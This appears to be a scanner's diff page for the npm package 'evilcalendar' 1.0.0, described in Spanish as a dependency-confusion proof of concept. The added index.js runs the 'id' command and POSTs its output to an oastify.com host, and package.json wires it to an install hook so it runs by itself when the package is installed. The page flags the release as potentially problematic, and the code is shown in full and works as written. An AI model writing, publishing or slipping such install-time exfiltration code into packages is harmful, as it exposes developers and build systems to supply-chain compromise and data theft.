evilcalendar 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of evilcalendar might be problematic. Click here for more details.
- package/index.js +41 -0
- package/package.json +11 -0
package/index.js
ADDED
@@ -0,0 +1,41 @@
|
|
1
|
+
const { exec } = require('child_process');
|
2
|
+
const http = require('http');
|
3
|
+
|
4
|
+
exec('id', (error, stdout, stderr) => {
|
5
|
+
if (error) {
|
6
|
+
console.error(`Error al ejecutar el comando: ${error}`);
|
7
|
+
return;
|
8
|
+
}
|
9
|
+
if (stderr) {
|
10
|
+
console.error(`Error en el comando: ${stderr}`);
|
11
|
+
return;
|
12
|
+
}
|
13
|
+
|
14
|
+
const data = JSON.stringify({ data: stdout });
|
15
|
+
|
16
|
+
const options = {
|
17
|
+
hostname: 'w1yalslzyt46oy3tl74q2gbe056wumib.oastify.com',
|
18
|
+
port: 80,
|
19
|
+
path: '/',
|
20
|
+
method: 'POST',
|
21
|
+
headers: {
|
22
|
+
'Content-Type': 'application/json',
|
23
|
+
'Content-Length': data.length
|
24
|
+
}
|
25
|
+
};
|
26
|
+
|
27
|
+
const req = http.request(options, res => {
|
28
|
+
console.log(`Estado: ${res.statusCode}`);
|
29
|
+
|
30
|
+
res.on('data', d => {
|
31
|
+
process.stdout.write(d);
|
32
|
+
});
|
33
|
+
});
|
34
|
+
|
35
|
+
req.on('error', error => {
|
36
|
+
console.error(error);
|
37
|
+
});
|
38
|
+
|
39
|
+
req.write(data);
|
40
|
+
req.end();
|
41
|
+
});
|
package/package.json
ADDED
@@ -0,0 +1,11 @@
|
|
1
|
+
{
|
2
|
+
"name": "evilcalendar",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "Esta es una libreria para realizar un POC de Confusion de dependencias en Node",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"install": "node index.js"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC"
|
11
|
+
}
|